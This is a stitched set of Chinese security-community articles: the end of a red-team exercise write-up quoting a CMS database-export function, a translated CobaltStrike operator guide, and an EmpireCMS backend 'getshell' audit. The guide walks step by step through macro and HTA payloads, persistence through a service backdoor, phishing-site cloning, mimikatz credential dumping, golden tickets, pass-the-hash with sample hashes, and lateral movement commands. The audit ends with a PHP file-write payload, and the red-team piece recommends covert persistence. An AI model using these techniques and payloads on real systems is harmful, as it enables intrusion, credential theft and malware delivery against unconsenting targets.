$this->db->query("SET NAMES '".$sqlcharset."';\n\n");
}
$tabledump = '';
$tableid = ($tableid!= '') ? $tableid - 1 : 0;
$startfrom = ($startfrom != '') ? intval($startfrom) : 0;
for($i = $tableid; $i < count($tables) && strlen($tabledump) < $sizelimit * 1000; $i++) {
global $startrow;
$offset = 100;
if(!$startfrom) {
if($tables[$i]!=AUTO_TABLE_PREFIX.'session') {
$tabledump .= "DROP TABLE IF EXISTS `$tables[$i]`;\n";
}
$createtable = $this->db->query("SHOW CREATE TABLE `$tables[$i]` ");
$create = $this->db->fetch_next();
$tabledump .= $create['Create Table'].";\n\n";
$this->db->free_result($createtable);
if($sqlcompat == 'MYSQL41' && $this->db->version() < '4.1') {
$tabledump = preg_replace("/TYPE\=([a-zA-Z0-9]+)/", "ENGINE=\\1 DEFAULT CHARSET=".$dumpcharset, $tabledump);
}
if($this->db->version() > '4.1' && $sqlcharset) {
$tabledump = preg_replace("/(DEFAULT)*\s*CHARSET=[a-zA-Z0-9]+/", "DEFAULT CHARSET=".$sqlcharset, $tabledump);
}
if($tables[$i]==AUTO_TABLE_PREFIX.'session') {
$tabledump = str_replace("CREATE TABLE `".DB_PRE."session`", "CREATE TABLE IF NOT EXISTS `".DB_PRE."session`", $tabledump);
}
}
$numrows = $offset;
while(strlen($tabledump) < $sizelimit * 1000 && $numrows == $offset) {
if($tables[$i]==AUTO_TABLE_PREFIX.'session') break;
$sql = "SELECT * FROM `$tables[$i]` LIMIT $startfrom, $offset";
$numfields = $this->db->num_fields($sql);
$numrows = $this->db->num_rows($sql);
$fields_name = $this->db->get_fields($tables[$i]);
$rows = $this->db->query($sql);
$name = array_keys($fields_name);
$r = array();
while ($row = $this->db->fetch_next()) {
$r[] = $row;
$comma = "";
$tabledump .= "INSERT INTO `$tables[$i]` VALUES(";
for($j = 0; $j < $numfields; $j++) {
$tabledump .= $comma."'".mysql_real_escape_string($row[$name[$j]])."'";
$comma = ",";
}
$tabledump .= ");\n";
}
$this->db->free_result($rows);
$startfrom += $offset;
}
$tabledump .= "\n";
$startrow = $startfrom;
$startfrom = 0;
}
if(trim($tabledump)) {
$tabledump = "# time:".date('Y-m-d H:i:s')."\n# bupu auto system:http://www.bupu.net\n# --------------------------------------------------------\n\n\n".$tabledump;
$tableid = $i;
$filename = date('Ymd').'_'.$random.'_'.$fileid.'.sql';
$altid = $fileid;
$fileid++;
$backUpFolder=ABS_PATH.DIRECTORY_SEPARATOR.'backup';
if (!file_exists($backUpFolder)&&!is_dir($backUpFolder)){
mkdir($backUpFolder,0777);
}
$bakfile_path = ABS_PATH.'backup'.DIRECTORY_SEPARATOR.'data'.date('Y-m-d',SYS_TIME);
if (!file_exists($bakfile_path)&&!is_dir($bakfile_path)){
mkdir($bakfile_path,0777);
}
$bakfile = $bakfile_path.DIRECTORY_SEPARATOR.$filename;
if(!is_writable($bakfile_path)) showMessage('backup文件夹不可写');
file_put_contents($bakfile, $tabledump);
@chmod($bakfile, 0777);
showmessage('正在备份，请不要关闭浏览器'." $filename ", '?m=manage&c=database&a=action_export&sizelimit='.$sizelimit.'&sqlcompat='.$sqlcompat.'&sqlcharset='.$sqlcharset.'&tableid='.$tableid.'&fileid='.$fileid.'&startfrom='.$startrow.'&random='.$random.'&allow='.$allow);
} else {
$bakfile_path = ABS_PATH.'backup'.DIRECTORY_SEPARATOR.'database';
//file_put_contents($bakfile_path.DIRECTORY_SEPARATOR.'index.html','');
delCache('backupTables');
showmessage('备份成功，数据备份在了“/backup/data'.date('Y-m-d',SYS_TIME).'”文件夹中');
}
}
通过阅读此处的代码逻辑，发现指定数据表名称，即可导出数据。
找到该sql文件路径。
前端访问并下载成功。
可以通过此方法，拿到后台管理员账号密码。
继续审计发现，此处的导出时，文件名可控，内容可控。
此时可以发现，可能可以截断后缀。
尝试截断，并成功。
尴尬的是，文件内容并没有写入。
查了相关资料后发现。
用冒号截断的确会这样，但是用windows文件流截断，文件也并没有生成。这就很麻烦了。
此处也没有想到比较好的方法去绕过。
就暂时放着了。
下午的时候尝试去下一下数据表的文件，结果发了几个数据包。
蓝队直接将`admin.php`这个入口文件给删了。牛逼牛逼。
跟队友说了一下情况。
### 3.5.4 蓝队不讲武德，直接关站
晚上准备写博客。
准备打开目标站点截几个图。
结果发现，蓝队直接给你关站了。笑死。
一片红，笑死我了，和队友吐槽大无语事件。
等周一明天举报了。
# 四、总结
缺乏攻防经验，没有在第一天拿到权限后，做权限维持。
# 五、后续
跟裁判反馈后，漏洞最后通过给了一百分，麻了。
不过通过这次攻防增长了不少见识大概懂了一些恶心人的做法。
以后拿到权限，一定做好权限维持，不要相信裁判的鬼话，也不要信红蓝队会守规矩。 | 社区文章 |
# CobaltStrike使用详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
## CobaltStrike
CobaltStrike是一款渗透测试神器，被业界人称为CS神器。CobaltStrike分为客户端与服务端，服务端是一个，客户端可以有多个，可被团队进行分布式协团操作。
CobaltStrike集成了端口转发、服务扫描，自动化溢出，多模式端口监听，windows exe 木马生成，windows dll 木马生成，java
木马生成，office 宏病毒生成，木马捆绑。钓鱼攻击包括：站点克隆，目标信息获取，java 执行，浏览器自动攻击等等强大的功能！
## CobaltStrike的安装
我这里以Kali安装为例：
上传到Kali中，解压：tar -xzvf jdk-8u191-linux-x64.tar.gz
移动到opt目录下： mv jdk1.8.0_191/ /opt/
进入jdk目录：cd /opt/jdk1.8.0_191
执行 vim ~/.bashrc ， 并添加下列内容
# install JAVA JDK
export JAVA_HOME=/opt/jdk1.8.0_191
export CLASSPATH=.:${JAVA_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
保存退出
执行: source ~/.bashrc
执行：
update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_191/bin/java 1
update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_191/bin/javac 1
update-alternatives --set java /opt/jdk1.8.0_191/bin/java
update-alternatives --set javac /opt/jdk1.8.0_191/bin/javac
查看结果：
update-alternatives --config java
update-alternatives --config javac
安装好了java之后，我们就去安装CobalStrike了！
上传到Kali中，解压：unzip cobaltstrike-linux.zip
进入cobalstrike中：cd cobaltstrike-linux/
**启动服务端：**
CobaltStrike一些主要文件功能如下：
· agscript：扩展应用的脚本
· c2lint：用于检查profile的错误和异常
· teamserver：服务器端启动程序
· cobaltstrike.jar：CobaltStrike核心程序
· cobaltstrike.auth：用于客户端和服务器端认证的文件，客户端和服务端有一个一模一样的
· cobaltstrike.store：秘钥证书存放文件
一些目录作用如下：
· data：用于保存当前TeamServer的一些数据
· download：用于存放在目标机器下载的数据
· upload：上传文件的目录
· logs：日志文件，包括Web日志、Beacon日志、截图日志、下载日志、键盘记录日志等
· third-party：第三方工具目录
启动服务端： ./teamserver 192.168.10.11 123456 #192.168.10.11是kali的ip地址，123456是密码
后台运行，关闭当前终端依然运行：nohup ./teamserver 192.168.10.11 123456 &
这里CobaltStrike默认监听的是50050端口，如果我们想修改这个默认端口的话，可以打开teamserver文件，将其中的50050修改成任意一个端口号
**启动客户端：**
./cobaltstrike点击并拖拽以移动
这里host填kali的ip，密码就是刚刚我们启动的密码。
启动后的客户端：
我们也可以打开windows下的cobaltstrike客户端，然后把ip设置为我们的启动时候的ip即可。
## CobaltStrike的使用
### CobaltStrike模块
· New Connection：打开一个新连接窗口
· Preferences：偏好设置，就是设置CobaltStrike外观的
· Visualization：将主机以不同的权限展示出来(主要以输出结果的形式展示)
· VPN Interfaces：设置VPN接口
· Listeners：创建监听器
· Script Interfaces：查看和加载CNA脚本
· Close：关闭
### 创建监听器Listener
CobaltStrike的内置监听器为Beacon，外置监听器为Foreign。CobaltStrike的Beacon支持异步通信和交互式通信。
点击左上方CobaltStrike选项——>在下拉框中选择 Listeners ——>在下方弹出区域中单机add
name：为监听器名字，可任意
payload：payload类型
HTTP Hosts: shell反弹的主机，也就是我们kali的ip
HTTP Hosts(Stager): Stager的马请求下载payload的地址
HTTP Port(C2): C2监听的端口
CobaltStrike4.0目前有以下8种Payload选项，如下：
**内部的Listener**
· windows/beacon_dns/reverse_dns_txt
· windows/beacon_http/reverse_http
· windows/beacon_https/reverse_https
· windows/beacon_bind_tcp
· windows/beacon_bind_pipe
**外部的Listener**
· windows/foreign/reverse_http
· windows/foreign/reverse_https
**External**
· windows/beacon_extc2
Beacon为内置的Listener，即在目标主机执行相应的payload，获取shell到CS上；其中包含DNS、HTTP、HTTPS、SMB。Beacon可以选择通过DNS还是HTTP协议出口网络，你甚至可以在使用Beacon通讯过程中切换HTTP和DNS。其支持多主机连接，部署好Beacon后提交一个要连回的域名或主机的列表，Beacon将通过这些主机轮询。目标网络的防护团队必须拦截所有的列表中的主机才可中断和其网络的通讯。通过种种方式获取shell以后（比如直接运行生成的exe），就可以使用Beacon了。
Foreign为外部结合的Listener，常用于MSF的结合，例如获取meterpreter到MSF上。
关于DNS Beacon的使用：[CobaltStrike中DNS
Beacon的使用](https://xie1997.blog.csdn.net/article/details/106423900)
## 创建攻击Attacks(生成后门)
**点击中间的攻击—— >生成后门**
这里Attacks有几种，如下：
· HTML Application 生成一个恶意HTML Application木马，后缀格式为 .hta。通过HTML调用其他语
言的应用组件进行攻击，提供了 可执行文件、PowerShell、VBA三种方法。
· MS Office Macro 生成office宏病毒文件；
· Payload Generator 生成各种语言版本的payload，可以生成基于C、C#、COM Scriptlet、Java、Perl、
PowerShell、Python、Ruby、VBA等的payload
· Windows Executable 生成32位或64位的exe和基于服务的exe、DLL等后门程序
· Windows Executable(S) 用于生成一个exe可执行文件，其中包含Beacon的完整payload，不需要阶段性的请求。与Windows
Executable模块相比，该模块额外提供了代理设置，以便在较为苛刻的环境中进行渗透测试。该模块还支持powershell脚本，可用于将Stageless
Payload注入内存
### HTML Application
HTML Application用于生成hta类型的文件。HTA是HTML
Application的缩写（HTML应用程序），是软件开发的新概念，直接将HTML保存成HTA的格式，就是一个独立的应用软件，与VB、C++等程序语言所设计的软件界面没什么差别。HTML
Application有三种类型的生成方式，测试发现，只有powershell方式生成的hta文件才能正常执行上线，Executable和VBA方式生成的hta文件执行的时候提示当前页面的脚本发生错误。
基于PowerShell方式生成的hta文件，执行上线
执行mshta上线成功：mshta <http://xx.xx.xx.xx/download/file.ext>
基于Executable方式生成的hta文件，执行报错如下
基于VBA方式生成的hta文件，执行报错如下
### MS Office Macro
攻击——>生成后门——>MS Office Macro
然后选择一个监听器，点击Generate
然后点击Copy Macro
然后打开word编辑器，点击视图，然后点击宏
随便输入一个宏名，点击创建
先清除这里面的所有代码，然后复制CobaltStrike生成的代码，保存退出。
将该文档发给其他人，只要他是用word打开，并且开启了宏，我们的CS就会收到弹回来的shell，进程名是rundll32.exe。
word开启禁用宏：文件——>选项——>信任中心——>信任中心设置
### Payload Generator
这个模块用于生成各种语言版本的shellcode，然后用其他语言进行编译生成，可参考：[MSF木马的免杀(三)](https://xie1997.blog.csdn.net/article/details/106348527)
### Windows Executable & Windows Executable(S)
这两个模块直接用于生成可执行的 exe 文件或 dll 文件。Windows Executable是生成Stager类型的马，而Windows
Executable(S) 是生成Stageless类型的马。那Stager和Stageless有啥区别呢？
·
Stager是分阶段传送Payload。分阶段啥意思呢？就是我们生成的Stager马其实是一个小程序，用于从服务器端下载我们真正的shellcode。分阶段在很多时候是很有必要的，因为很多场景对于能加载进内存并成功漏洞利用后执行的数据大小存在严格限制。所以这种时候，我们就不得不利用分阶段传送了。如果不需要分阶段的话，可以在C2的扩展文件里面把
host_stage 选项设置为 false。
·
而Stageless是完整的木马，后续不需要再向服务器端请求shellcode。所以使用这种方法生成的木马会比Stager生成的木马体积要大。但是这种木马有助于避免反溯源，因为如果开启了分阶段传送，任何人都能连接到你的C2服务器请求payload，并分析payload中的配置信息。在CobaltStrike4.0及以后的版本中，后渗透和横向移动绝大部分是使用的Stageless类型的木马。
Windowss Executable(S)相比于Windows
Executable，其中包含Beacon的完整payload，不需要阶段性的请求，该模块额外提供了代理设置，以便在较为苛刻的环境中进行渗透测试。该模块还支持powershell脚本，可用于将Stageless
Payload注入内存。
注意，生成的Windows Service EXE生成的木马，直接双击是不会返回session的。需要以创建服务的方式启动，才会返回session。
#注意，等号（=）后面要有空格
sc create autoRunBackDoor binPath= "cmd.exe /c C:\users\administrator\desktop\cs.exe" start= auto DisplayName= autoRunBackDoor
#开启某个系统服务
sc start autoRunBackDoor
#停止某个系统服务
sc stop autoRunBackDoor
# 删除某个系统服务
sc delete service_name
## 创建攻击Attacks(钓鱼攻击)
点击中间的Attacks——>Web Drive-by（网站钓鱼攻击）
· web服务管理 对开启的web服务进行管理；
· 克隆网站 克隆网站，可以记录受害者提交的数据；
· 文件下载 提供一个本地文件下载，可以修改Mime信息。可以配合DNS欺骗实现挂马效果使用
· Scripted Web Delivery(S) 基于Web的攻击测试脚本，自动生成可执行的payload
，通常用这个模块来生成powershell命令反弹shell
· 签名Applet攻击 启动一个Web服务以提供自签名Java Applet的运行环境;
· 智能攻击 自动检测Java版本并利用已知的exploits绕过security；
· 信息搜集 用来获取一些系统信息，比如系统版本，Flash版本，浏览器版本等。
### 克隆网站
该模块用来克隆一个网站，来获取用户的键盘记录
然后访问URL
cs的web日志可以查看到目标访问的键盘记录
###
### 信息搜集
该模块用来获取用户的系统信息、浏览器信息。
然后只要目标访问我们的这个链接，就会自动跳转到百度，并且我们的cs可以获取到目标系统和浏览器的信息
## 视图View
点击中间的View
· Applications 显示受害者机器的应用信息；
· Credentials 显示受害者机器的凭证信息，通过hashdump和mimikatz获取的密码都保存在这里；
· Downloads 查看从被控机器上下载的文件；
· Event Log 可以看到事件日志，清楚的看到系统的事件,并且团队可以在这里聊天;
· Keystrokes 查看键盘记录；
· Proxy Pivots 查看代理信息；
· Screenshots 查看屏幕截图；
· Script Console 在这里可以加载各种脚本以增强功能，脚本地址：<https://github.com/rsmudge/cortana-scripts>
· Targets 查看目标；
· Web Log 查看web日志。
## 对被控主机的操作
Interact 打开beacon
Access
dump hashes 获取hash
Elevate 提权
Golden Ticket 生成黄金票据注入当前会话
MAke token 凭证转换
Run Mimikatz 运行 Mimikatz
Spawn As 用其他用户生成Cobalt Strike的beacon
Explore
Browser Pivot 劫持目标浏览器进程
Desktop(VNC) 桌面交互
File Browser 文件浏览器
Net View 命令Net View
Port scan 端口扫描
Process list 进程列表
Screenshot 截图
Pivoting
SOCKS Server 代理服务
Listener 反向端口转发
Deploy VPN 部署VPN
Spawn 新的通讯模式并生成会话
Session 会话管理，删除，心跳时间，退出，备注
## 抓取hash和dump明文密码
这两项功能都需要管理员权限，如果权限不足，先提权
· 抓取密码哈希：右键被控主机——>Access——>Dump Hashes
· 利用mimikatz抓取明文密码：右键被控主机——>Access——>Run Mimikatz
抓取密码哈希，也可以直接输入： **hashdump**
使用mimikatz抓取明文密码，也可以直接输入： **logonpasswords**
抓取完之后，点击凭证信息，就会显示我们抓取过的哈希或者明文。这里我们也可以手动添加或修改凭证信息
## 提权(Elevate)
当获取的当前权限不够时，可以使用提权功能
右键被控主机——>Access——>Elevate
亲测Windows Server 2008R2 、Win7 及以下系统可用。Win10不可用
默认有三个提权payload可以使用，分别是MS14-058、uac-dll、uac-token-duplication 。
我们选中MS14-058，点击Launch
之后就弹回来一个system权限的beacon
我们也可以自己加入一些提权脚本进去。在Github上有一个提权工具包，使用这个提权工具包可以增加几种提权方法：<https://github.com/rsmudge/ElevateKit>
。我们下载好该提权工具包后
如下，
再打开我们的提权，可以看到多了几种提权方式了
### 利用被控主机建立Socks4代理
当我们控制的主机是一台位于公网和内网边界的服务器 ，我们想利用该主机继续对内网进行渗透，于是，我们可以利用CS建立socks4A代理
右键被控主机——>Pivoting——>SOCKS Server
这里是SOCKS代理运行的端口，任意输入一个未占用的端口即可，默认CS会给出一个，我们直接点击Launch即可。
于是，我们在自己的主机上设置Socks4代理。代理ip是我们CS服务端的ip，端口即是 38588。
如果我们想查看整个CS代理的设置，可以点击View——>Proxy Pivots
然后我们可以直接在浏览器设置socks4代理
或者可以点击Tunnel，然后会给我们一个MSF的代理：setg Proxies socks4:xx.xx.xx.xx:38588
### 进程列表(注入进程，键盘监控)
右键被控主机——>Explore——>Process List
即可列出进程列表
选中该进程，Kill为杀死该进程，Refresh为刷新该进程，Inject 则是把beacon注入进程，Log
Keystrokes为键盘记录，Screenshot 为截图，Stea Token为窃取运行指定程序的用户令牌
这里着重讲一下注入进程和键盘记录
**Inject注入进程**
选择进程，点击Inject，随后选择监听器，点击choose，即可发现CobaltStrike弹回了目标机的一个新会话，这个会话就是成功注入到某进程的beacon会话。该功能可以把你的beacon会话注入到另外一个程序之中，注入之后，除非那个正常进程被杀死了，否则我们就一直可以控制该主机了。
inject 进程PID 进程位数 监听
**键盘记录**
任意选择一个进程，点击 **Log Keystrokes** ，即可监听该主机的键盘记录
keylogger 进程PID 进程位数
查看键盘记录结果：点击钥匙一样的按钮，就可以在底下看到键盘记录的详细了，会监听所有的键盘记录，而不只是选中的进程的键盘记录
键盘监听记录，也可以直接输入 **keylogger**
### 浏览器代理Browser Pivot
使用浏览器代理功能，我们可以注入到目标机器的浏览器进程中。然后在本地浏览器中设置该代理，这样，我们可以在本地浏览器上访问目标机器浏览器已经登录的网站，而不需要登录。但是目前浏览器代理只支持IE浏览器。如下，目标主机的IE浏览器目前在访问fofa，并且已登录。现在我们想利用浏览器代理在本地利用目标主机身份进行访问。
选中目标，邮件浏览器代理，然后选中IE浏览器的进程
这里看到IE浏览器有两个进程，分别是 6436和6544，我们随便选中一个即可。我这里选择 6544进程，然后下面会有一个默认的代理服务端口。点击开始
可以看到命令行如下：browserpivot 6544 x86
然后视图代理信息可以看到刚刚建立的浏览器代理。这里的意思是，TeamServer监听59398和26193端口。流程是这样，我们将流量给59398端口，59398端口将流量给26193端口，26193将流量给目标主机的26193端口。
我们这里代理设置TeamServer服务器的ip和59398端口即可。
访问Fofa，可以看到以目标身份登录了网站。
### 生成黄金票据注入当前会话(Golden Ticket)
生成黄金票据的前提是我们已经获得了krbtgt用户的哈希：9ce0b40ed1caac7523a22d574b32deb2
。并且已经获得一个以域用户登录的主机权限
右键当前获得的主机——>Access——>Golden Ticket
在弹出来的对话框中输入以下：
· User：要伪造用户名，这里我们一般填administrator
· Domain：域名
· Domain SID：域SID
· Krbtgt Hash：krbtgt用户的哈希
然后点击Build即可
这是输入框自动执行的mimikatz命令，如图票据传递攻击成功。我们查看域控的C盘，输入如下命令
shell dir\\win2008.xie.com\c$
### 凭证转换(Make Token)
如果我们已经获得了域内其他用户的账号密码，就可以使用此模块生成令牌，此时生成的令牌具有指定用户的身份。
右键当前获得的主机——>Access——>Make Token
输入已经获得了域用户的账号密码和域名，点击Build
日志框内的记录
### 端口扫描
右键——>目标——>端口扫描，然后填入要扫描的端口和网段。这里我们也可以直接执行命令：
portscan 192.168.10.1-192.168.10.10 22,445 arp 1024
portscan 192.168.10.1-192.168.10.10 22,445 icmp 1024
portscan 192.168.10.1-192.168.10.10 22,445 none 1024
一般我们直接运行命令
portscan 192.168.1.0/24 22,445,1433,3306
扫完了之后，直接在控制台就会有结果。
我们点击视图——>目标，就会出现网段中存活的主机。(这是通过端口扫描探测到的结果显示的，要想这里显示，必须得先进行扫描端口)
### 哈希传递攻击或SSH远程登录
进行了上一步的端口扫描后，我们这里视图——>目标就会有当前网段的存活主机。
**对于Linux机器，如果我们知道账号密码的话，可以远程SSH连接，并返回一个CS的session。**
需要一台服务器作为中继才可以控制Linux服务器，我们这里先获取到一个windows服务器的权限，然后进入windows服务器的beacon进行执行命令
可以两种方式远程连接：ssh 和 ssh-key
可以图形化操作，也可以命令行操作：ssh 192.168.10.13:22 root root
**对于Linux机器，也可以使用SSH公私钥进行登录，并返回一个CS的session。**
需要一台服务器作为中继才可以控制Linux服务器，我们这里先获取到一个windows服务器的权限，然后进入windows服务器的beacon进行执行命令
首先，将公钥authorized_keys放到目标主机的/root/.ssh/目录下
然后我们本地机器放私钥，远程连接
ssh-key 192.168.10.13:22 root e:\id_rsa
**对于Windows机器，如果我们获取到账号和密码(明文或者哈希)，都可以进行远程连接**
远程连接的前提是目标机器开放了445端口，然后CS会通过远程连接开启一个CS的seesion。可以用以下方式远程连接：psexec
、psexec64、psexec_psh 、winrm 和 winrm64。实测使用 psexec_psh 成功率最高。
已经得到机器Win2008的密码为：root
（329153f560eb329c0e1deea55e88a1e9），现在想哈希传递Win2003机器。监听器为：test
如果知道知道密码哈希的话：
rev2self
pth WIN2008\Administrator 329153f560eb329c0e1deea55e88a1e9
psexec的命令：jump psexec WIN2003 test
psexec64的命令jump psexec64 WIN2003 test
psexec_psh的命令：jump psexec_psh WIN2003 test
winrm的命令：jump winrm WIN2003 test
winrm64的命令： jump winrm64 WIN2003 test
如果是知道明文密码的话：
rev2self
make_token WIN2008\Administrator root
psexec的命令：jump psexec WIN2003 test
psexec64的命令jump psexec64 WIN2003 test
psexec_psh的命令：jump psexec_psh WIN2003 test
winrm的命令：jump winrm WIN2003 test
winrm64的命令： jump winrm64 WIN2003 test
**如果遇到目标机器不出网的情况，则我们需要在已经被控的主机上建立一个listen，以此作为中继。**
然后攻击的时候的监听器选择我们刚刚用被控主机建立的listen即可。
当在目标主机执行了该木马后，就可以看到上线了。我们可以在Beacon上用link <ip>命令链接它或者unlink <ip>命令断开它
但是这样会导致的一个后果就是，只要第一个被控主机掉线，通过该主机中继打下的内网其他主机也都会掉线。
###
### 导入并执行本地的PowerShell脚本
* powershell-import：该模块可以将本地PowerShell脚本加载到目标系统的内存中，然后使用PowerShell执行所加载脚本中的方法
* powershell：该模块通过调用PowerShell.exe 来执行命令
* powerpick：该命令可以不通过调用PowerShell.exe 来执行命令
powershell-import E:\PowerView.ps1
powershell Get-NetUser | select name
### Beacon TCP的使用
我们打下了一个目标机器192.168.202.54，但是该机器不出网，我们现在想让其上线cs。我们的思路是这样的，通过配置代理，让本地虚拟机可以访问到目标机器。然后让本地虚拟机上线cs，走bind_tcp去连接目标机器。
* 本地虚拟机：192.168.10.132
* 目标机器：192.168.10.128(不出网)
**本地虚拟机上线cs，配置proxifier**
使用本地虚拟机，使用exe或powershell方式上线cs(注意不要用派生的session)。
在win2008机器上配置好proxifier，如下
**监听bind_tcp**
设置bind_tcp监听方式，默认监听42585端口，我们可以自己修改。
生成bind_tcp的木马
将该木马上传到win7机器上，执行，可以看到，监听了42585端口
然后可以在cs上上线的机器探测端口：
portscan 192.168.10.128 42585 none 64
在win2008机器上执行命令，可以看到win7正常上线
连接
connect 192.168.10.128
取消连接
unlink 192.168.10.128
点进去win7的session里面，输入 sleep 1
### Beacon SMB的使用
SMB
Beacon使用命名管道与父级Beacon进行通讯，当两个Beacons链接后，子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信，此流量封装在SMB协议中，所以SMB
Beacon相对隐蔽，绕防火墙时可能发挥奇效。 这张图很好的诠释了SMB beacon的工作流程。
**SMB Beacon的使用条件：**
* 具有 SMB Beacon 的主机必须接受 445 端口上的连接
* 只能链接由同一个 Cobalt Strike 实例管理的 Beacon
* 利用这种beacon横移必须有目标主机的管理员组的权限或者说是拥有具有管理员组权限的凭据。
**SMB Beacon的使用场景：**
1. 我们知道了目标机器的管理员账号的明文密码或密码哈希。但是目标主机不出网，所以我们想利用SMB Beacon正向连接让其上线。
2. 还有一种使用场景是，在域环境中，我们已经得到一个域用户的账号密码。由于在域中，默认域用户可以登录除域控外的所有主机。所以我们可以利用该域用户与其他主机建立IPC连接，然后让其他主机进行SMB Beacon上线。
首先，建立一个SMB Beacon的监听：SMB_Beacon
**利用明文密码让其上线SMB Beacon**
先建立一个IPC连接，然后连接：
shell net use \\192.168.10.132 /u:administrator root
jump psexec_psh 192.168.10.132 SMB_Beacon
取消连接
unlink 192.168.10.132
**利用密码哈希上线SMB Beacon**
rev2self
pth WIN2003\Administrator 329153f560eb329c0e1deea55e88a1e9
jump psexec_psh 192.168.10.132 SMB_Beacon
取消连接
unlink 192.168.10.132点击并拖拽以移动
## CobaltStrike常见命令
BeaconCommands
===============
Command Description
------- ----------- browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peerover TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges oncurrent token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peerover a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID forspawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn asession on a host
psexec_psh Use PowerShell to spawn asession on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program underanother PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as anotheruser
spawnto Set executable tospawn processes into
spawnu Spawn a session underanother PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parentBeacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗
如果你想和我一起讨论的话，那就加入我的知识星球吧！ | 社区文章 |
#### 后台getshell(一)
看ecmsmod.php第155-162行
elseif($enews=="LoadInMod")
{
$file=$_FILES['file']['tmp_name'];
$file_name=$_FILES['file']['name'];
$file_type=$_FILES['file']['type'];
$file_size=$_FILES['file']['size'];
LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}
跟进LoadInMod函数
function LoadInMod($add,$file,$file_name,$file_type,$file_size,$userid,$username){
global $empire,$dbtbpre,$ecms_config;
//验证权限
CheckLevel($userid,$username,$classid,"table");
$tbname=RepPostVar(trim($add['tbname']));
if(!$file_name||!$file_size||!$tbname)
{
printerror("EmptyLoadInMod","");
}
//扩展名
$filetype=GetFiletype($file_name);
if($filetype!=".mod")
{
printerror("LoadInModMustmod","");
}
//表名是否已存在
$num=$empire->gettotal("select count(*) as total from {$dbtbpre}enewstable where tbname='$tbname' limit 1");
if($num)
{
printerror("HaveLoadInTb","");
}
//上传文件
$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
$cp=@move_uploaded_file($file,$path);
if(!$cp)
{
printerror("EmptyLoadInMod","");
}
DoChmodFile($path);
@include($path);
这里如果是去爆破文件名的话也很简单，不可控的就
make_password(10)
10位随机数，因为这里拿不到种子，并不能去预测
但是下面
@include($path);
直接包含了这个文件，那么直接写入就可以。
<?php
file_put_contents("p0desta.php","<?php phpinfo(); ?>");
?>
#### 后台getshell(二)
看代码ecmscom.php第46行
if($enews=="AddUserpage")//增加自定义页面
{
AddUserpage($_POST,$logininid,$loginin);
}
跟进函数`AddUserpage`
function AddUserpage($add,$userid,$username){
global $empire,$dbtbpre;
//操作权限
CheckLevel($userid,$username,$classid,"userpage");
$classid=(int)$add[classid];
$title=$add['title'];
$path=$add['path'];
$pagetext=$add['pagetext'];
if(empty($title)||empty($path))
{
printerror("EmptyUserpagePath","history.go(-1)");
}
$title=hRepPostStr($title,1);
$path=hRepPostStr($path,1);
$pagetext=RepPhpAspJspcode($pagetext);
$pagetitle=RepPhpAspJspcode($add[pagetitle]);
$pagekeywords=RepPhpAspJspcode($add[pagekeywords]);
$pagedescription=RepPhpAspJspcode($add[pagedescription]);
$tempid=(int)$add['tempid'];
$gid=(int)$add['gid'];
$sql=$empire->query("insert into {$dbtbpre}enewspage(title,path,pagetext,classid,pagetitle,pagekeywords,pagedescription,tempid) values('$title','$path','".eaddslashes2($pagetext)."','$classid','".eaddslashes($pagetitle)."','".eaddslashes($pagekeywords)."','".eaddslashes($pagedescription)."','$tempid');");
$id=$empire->lastid();
ReUserpage($id,$pagetext,$path,$title,$pagetitle,$pagekeywords,$pagedescription,$tempid);
if($sql)
{
//操作日志
insert_dolog("id=$id&title=$title");
printerror("AddUserpageSuccess","template/AddPage.php?enews=AddUserpage&gid=$gid&ChangePagemod=$add[pagemod]".hReturnEcmsHashStrHref2(0));
}
else
{
printerror("DbError","history.go(-1)");
}
}
